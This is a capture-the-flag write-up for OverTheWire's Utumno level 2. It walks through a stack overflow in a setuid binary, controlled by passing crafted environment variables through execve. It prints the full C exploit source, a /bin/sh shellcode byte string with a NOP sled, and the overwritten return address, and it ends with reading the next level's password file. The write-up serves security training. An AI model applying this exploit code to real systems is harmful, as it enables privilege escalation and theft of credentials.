Site: http://overthewire.org/wargames/utumno/
Level: 2
Situation: ASM Reading Exercise
SideNote: This write up is condensed there was a lot of small repetitive steps that had been done in previous examples and explained.
As we usually do we are going to create a temp directory for our use. Then we are going to get the file archtype and the basic output.
utumno2@melinda:~$ mkdir /tmp/ut2
utumno2@melinda:~$ cd /tmp/ut2
utumno2@melinda:/tmp/ut2$
utumno2@melinda:/tmp/ut2$ file /utumno/utumno2
/utumno/utumno2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=8557fab8b28ac610dff835c3fbfa7b02bd54a2de, not stripped
utumno2@melinda:/tmp/ut2$ /utumno/utumno2
Aw..
The usual nothing to explanatory. Let’s go ahead and ltrace.
utumno2@melinda:/tmp/ut2$ ltrace /utumno/utumno2
__libc_start_main(0x804845d, 1, 0xffffd794, 0x80484b0 <unfinished ...>
puts("Aw.."Aw..
) = 5
exit(1 <no return ...>
+++ exited (status 1) +++
Nothing again. If we pass an argument to it we get the same issue.
utumno2@melinda:/tmp/ut2$ ltrace /utumno/utumno2 asdf
__libc_start_main(0x804845d, 1, 0xffffd794, 0x80484b0 <unfinished ...>
puts("Aw.."Aw..
) = 5
exit(1 <no return ...>
+++ exited (status 1) +++
We open in it in our disassembler and get a control flow graph to see what is going on.
Short and easy to understand lets go ahead and mark it up.
Simple enough to understand. We know in order to get past the “AW” message we have to get past the argc check. By default all c applications get passed in their name in argv[0] which means argc is going to at least contain 1. So in order to do this we need to execute the application from another application that allows us to control the arguments going into the application.
We can use execve to do this. The definition of execve:
int execve(const char *filename, char *const argv[], char *const envp[]);
So our code will start as the following.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = { 0x0 };
char *envp[] = { };
execve("/utumno/utumno2", arg, envp);
perror("execve");
exit(1);
}
When we run this and we get past the initial block. But takes us into a segfault. For ease of use we are going to upload our invoker.sh script that we previously used. For debugging. Looking at the ASM we know that it is trying to access the address of argv[1] however we are passing in 0 arguments to get past the first check. Looking at execve we are giving a third parameter to pass in environment variables. Now let’s look at our stack to see the position of these variables.
We can push a specific amount of environmental variables to make our argv[1] point to one of our environmental variables.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = { 0x0 };
char *envp[] = { "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA" };
execve("/utumno/utumno2", arg, envp);
perror("execve");
exit(1);
}
The first one didn’t work so we change to the second variable.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = { 0x0 };
char *envp[] = { "", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA" };
execve("/utumno/utumno2", arg, envp);
perror("execve");
exit(1);
}
Each step of the way using our invoker shell to check GDB to see if we are affecting the EIP in anyway. We continue down the line till we hit a crash when using our “A”’s indicated we are controlling EIP.
The magic number is 9 in this case. Then turns our code into.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = { 0x0 };
char *envp[] = {
"",
"",
"",
"",
"",
"",
"",
"",
"",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
NULL
};
execve("/utumno/utumno2", arg, envp);
perror("execve");
exit(1);
}
At this point it turns into a simple stack overflow.
To find the exact length required we utilize metasploit’s pattern_create.rb and pattern_offset.rb tool. Which returns that our number is 24. We know that we are able to store shell code and a nopsled in it. However when we attempted to find the nopseld we were unable to find a matched pattern.
To overcome this we utilize the environmental variable before the A’s to store our nopseld and shell code. We reuse our 21 byte bin/sh shell code.
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
We also add a fair bit of nops in front of it turning our code into the following.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = { 0x0 };
char *envp[] = {
"",
"",
"",
"",
"",
"",
"",
"",
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAA",
NULL
};
execve("/utumno/utumno2", arg, envp);
perror("execve");
exit(1);
}
Finally we just need to find the address of our nopseld using the command “find $esp, $esp+400, 0x90909090” in GDB. Giving us the address 0xffffdf9d. We add the address to the new code.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = { 0x0 };
char *envp[] = {
"",
"",
"",
"",
"",
"",
"",
"",
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80",
"AAAAAAAAAAAAAAAAAAAAAAAA\x9d\xdf\xff\xff",
NULL
};
execve("/utumno/utumno2", arg, envp);
perror("execve");
exit(1);
}
We run it in userspace and we get the following.
utumno2@melinda:/tmp/ut2$ ./a.out
$ whoami
utumno3
$ cat /etc/utumno_pass/utumno3
[OMITTED]
There is our password.